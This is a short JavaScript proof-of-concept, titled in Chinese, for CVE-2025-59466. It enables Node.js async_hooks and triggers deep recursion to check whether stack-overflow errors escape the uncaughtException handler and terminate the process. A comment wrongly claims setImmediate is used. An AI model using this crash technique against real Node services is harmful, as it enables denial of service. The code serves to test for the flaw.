Node.js async_hooks.createHook() 导致堆栈溢出错误无法捕获 (CVE-2025-59466)

// CVE-2025-59466 PoC - Node.js async_hooks.createHook() Stack Overflow // This PoC demonstrates how async_hooks prevents catching stack overflow errors const async_hooks = require('async_hooks'); // Enable async hooks (this is what makes the error uncatchable) const hook = async_hooks.createHook({ init(asyncId, type, triggerAsyncId, resource) {}, before(asyncId) {}, after(asyncId) {}, destroy(asyncId) {}, promiseResolve(asyncId) {} }); hook.enable(); // Set up uncaught exception handler process.on('uncaughtException', (err) => { console.log('[+] UncaughtException caught:', err.message); console.log('[+] This should be reachable but is NOT in vulnerable versions'); process.exit(0); }); // Function to trigger deep recursion function deepRecursion(counter) { if (counter <= 0) { return 'done'; } // Using setImmediate to create async context which interacts with async_hooks return deepRecursion(counter - 1); } console.log('[*] Triggering deep recursion with async_hooks enabled...'); console.log('[*] In vulnerable versions, process will terminate without calling uncaughtException'); try { deepRecursion(100000); } catch (e) { console.log('[-] Caught in try-catch:', e.message); } console.log('[*] If you see this message, the vulnerability is patched');